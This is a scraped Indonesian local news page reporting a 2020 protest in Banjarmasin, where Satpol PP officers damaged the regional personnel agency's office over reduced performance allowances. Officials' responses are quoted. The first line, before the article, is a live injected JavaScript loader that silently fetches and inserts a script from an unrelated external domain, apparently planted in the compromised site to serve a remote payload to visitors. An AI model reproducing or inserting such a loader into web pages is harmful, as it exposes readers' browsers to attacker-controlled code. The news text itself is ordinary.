(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Sikapi Demo Anarkis Satpol PP, Kepala BKD Banjarmasin Ancam Laporkan Kasus Pengerusakan!


BANJARMASIN, Demo anarkis yang dilakukan Satpol PP Banjarmasin di Badan Kepegawaian Daerah (BKD) Banjarmasin, di Jl RE Martadinata, Selasa (18/2/2020) pagi tadi, berbuntut panjang. Tak terima dengan aksi Satpol PP yang menggeruduk kantornya, Kepala BKD Syafri Azmi mengancam akan memidanakan aksi tersebut.

Dalam aksinya, nampak sejumlah anggota Satpol PP yang tersulut emosi sempat mengobrak-abrik fasilitas kantor BKD. Mulai meja, kursi, hingga gelas air minum pun pecah. Menyikapi hal tersebut, Syafri mengatakan tak terima kantornya diperlakukan demikian.

“Mestinya demo dilakukan dengan baik-baik. Terus terang kami kecewa, dan akan menuntut balik atas pengerusakan yang dilakukan,” tegasnya.

Kedatangan Kepala BKD Syafri ke kantornya membuat anggota Satpol PP semakin naik pitam.Mereka pun akhirnya memutuskan untuk menunggu di luar kantor BKD.

Salah seorang anggota Satpol PP Banjarmasin mengatakan, tindakan Kepala BKD tersebut tidak seharusnya seperti itu, dan menurutnya sikap yang ditunjukan oleh Syafri Azmi tersebut seolah mengancam pihaknya yang sudah terlanjur emosi. “Sebagai pimpinan tidak seharusnya bersikap seperti itu, kami hanya menuntut hak. Bukan sebaliknya diancam dengan nada tinggi,” ujarnya.

Ketika itu, suasana memang sempat panas. Hingga Sekdako Banjarmasin Hamli Kursani mencoba menengahi. Termasuk Walikota Banjarmasin Ibnu Sina yang datang kemudian.

Kepada awak media, orang nomor satu di Balaikota Banjarmasin ini mengatakan, pada dasarnya tukin telah meningkat. Tujuannya, agar memberikan rasa keadilan bagi ASN yang bekerja di lapangan, terutama aparat Satpol PP Banjarmasin. Usulan kenaikan tukin pernah disampaikannya, namun ia belum mengetahui persis bagaimana proses kenaikan tukin di BKD Banjarmasin.

“Saat ini coba kami komunikasikan dengan Plt. Kasatpol PP Banjarmasin, Kepala BKD Banjarmasin dibantu Asisten dan Sekda untuk segera mengkomunikasikan. Agar tuntutan mereka ini diperhatikan,” kata Ibnu.

Ia menambahkan, di awal tahun belum ada pencairan tukin, karena harus menunggu surat keputusan (SK) dari BKD Banjarmasin. Ibnu mengatakan, pada hari ini ia menunggu usulan dari BKD Banjarmasin untuk tukin di tahun 2020. “Angka-angkanya sudah ada kenaikan. Hanya saja khusus Satpol PP belum saya cek lagi, apakah angkanya sudah disesuaikan atau bagaimana,” tambahnya.

Diakuinya, aparat Satpol PP Banjarmasin yang lulusan SMA memang mengalami penurunan ruang kelas jabatannya. Sehingga, angkanya juga mengalami penurunan. Tentunya hal ini berbeda dengan aparat golongan tiga ataupun yang telah memiliki jabatan.

Dari pantauan di lokasi, aparat Satpol PP membentangkan spanduk yang berisi tuntutan kenaikan tunjangan kinerja (tukin), menuntut hak dan keadilan, serta beban dan risiko kerja.

Salah satu perwakilan dari aparat Satpol PP Banjarmasin yang enggan menyebutkan identitasnya mengatakan, ia bersama rekannya telah bekerja maksimal dari pagi hingga malam hari.

“Selama ini karena ada perubahan sistem tunjangan, kami dari Satpol PP dan Damkar Kota Banjarmasin merasa teraniaya. Karena kami kerja siang malam, pagi sore. Bahkan, di hari Sabtu dan Minggu pun kami kerja,” katanya.

Sehingga, lanjutnya, aparat Satpol PP menuntut perhatian dan keadilan dari BKD Banjarmasin. Selain itu, selama penerapan tukin selama setahun, ia bersama rekan-rekannya memilih diam. Agar BKD Banjarmasin perduli dengan aparat penegak Perda ini.

“Ternyata apa? Setelah kami dan pimpinan kami mengajukannya ke pak Walikota, ternyata beliau setuju untuk meningkatkan tunjangan kami. Namun ternyata dihapus dan ditolak oleh BKD,” tuturnya.

Ia bersama rekan-rekannya meminta pertanggungjawaban BKD Banjarmasin. Karena, menurutnya, ada aturan risiko kerja untuk ASN dan berlaku di seluruh Indonesia. “Dan itu dihapus untuk kami, sedangkan kami diolah apa?” lanjutnya.

Ia mengaku, tunjangan yang berkurang dirasa cukup banyak yaitu 50 persen. Lebih lanjut dirinya mempertanyakan komitmen walikota dalam meningkatkan kesejahteraan aparat yang lebih banyak bekerja di lapangan. “Kami kerja terus,” singkatnya. (kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Chell


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.